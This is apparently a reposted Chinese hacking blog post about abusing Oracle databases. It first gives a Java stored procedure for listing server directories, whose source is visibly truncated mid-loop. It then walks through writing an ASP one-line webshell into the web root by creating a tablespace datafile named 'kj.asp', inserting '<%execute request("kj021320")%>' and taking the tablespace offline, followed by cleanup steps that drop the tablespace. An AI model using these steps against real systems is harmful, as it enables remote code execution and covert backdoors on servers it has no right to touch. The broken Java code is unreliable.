轉載請标明:http://hi.baidu.com/hack_forensic 《關于oracle列目錄的可行性測試》
經過本人測試,确實可行,解決了 kj021320文章的遺憾,kj021320在文章<>最後說,當然這個方法缺點就是你要知道WEB路徑.少費話,直接貼code:
create global temporary table BLUEUSER.dirlist(
filename varchar2(255),
filesize number,
filedate date)
on commit delete rows;
/
create or replace and compile java source named DirList as
import java.io.*;
import java.sql.*;
public class DirList
{
public static void getList(String directory) throws SQLException
File path=new File(directory);
String[] fileList=path.list();
String fileName;
long fileSize;
long fileDate;
for (int i=0;i exec BLUEUSER.p_get_dir_list(‘/tmp’);
PL/SQL procedure successfully completed
select * from BLUEUSER.dirlist;
select * from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist;
truncate table BLUEUSER.dirlist; 好啊 要不然是追加.
測試環境:oracle 9+redhat
——————ORACLE 建立資料檔案WriteWebShell———————
SQLJ 存儲過程寫檔案也可以,逼于無奈對方機器不支援SQLJ 還有 UTL_FILE包也被幹掉了?
那 也可以 使用以下我說的這個方式
SQL> create tablespace kjtest datafile ‘e:/website/kj.asp’ size 100k nologging ;
表空間已建立。
這裡記住了 100K為ORACLE 表空間最小的機關,如果你的一句話SHELL比較大 那可以200K比較穩妥
但是最終建議一句話一定要最最簡潔
SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;
表已建立。
一般用 VARCHAR類型已經可以 ,表空間太小了 ,是以不可以 為 CLOB或者 BLOB類型。
SQL> insert into WEBSHELL values(‘<%execute request(“kj021320″)%>’);
已建立 1 行。
SQL> commit;
送出完成。
送出完成之後就 OK? NO~ 因為資料還沒有被 DBWn 程序刷到檔案呢. 是以需要同步一下CKPT以及OFFLINE目前表空間
SQL> alter tablespace kjtest offline;
表空間已更改。
到這裡 你的 一句話SHELL代碼已經 寫到 那個檔案了
你會發現有這樣的 <%execute request(“kj021320″)%>的 代碼
一句話shell已經OK了
最後使用後記得吧 表空間删除
SQL> drop tablespace kjtest including contents;
表空間已删除。